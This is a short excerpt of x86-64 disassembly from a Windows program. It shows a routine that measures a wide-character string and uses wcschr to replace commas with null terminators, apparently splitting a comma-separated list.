ret
cmp word [rbx], 0
je 0x1400011a8
mov rax, rbx
nop dword [rax]
add rax, 2
cmp word [rax], 0
jne 0x140001150
sub rax, rbx
sar rax, 1
cdqe
lea rax, [rax + rax + 2]
xor ecx, ecx
mov rdi, qword [sym.imp.ucrtbase.dll_wcschr]
mov word [rbx + rax], cx
jmp 0x140001189
lea rbx, [rax + 2]
xor edx, edx
mov word [rax], dx
mov edx, 0x2c
mov rcx, rbx
call rdi
test rax, rax
jne 0x140001180
mov eax, esi
add rsp, 0x40
pop rbx
pop rsi
pop rdi
ret
mov eax, 2
jmp 0x140001167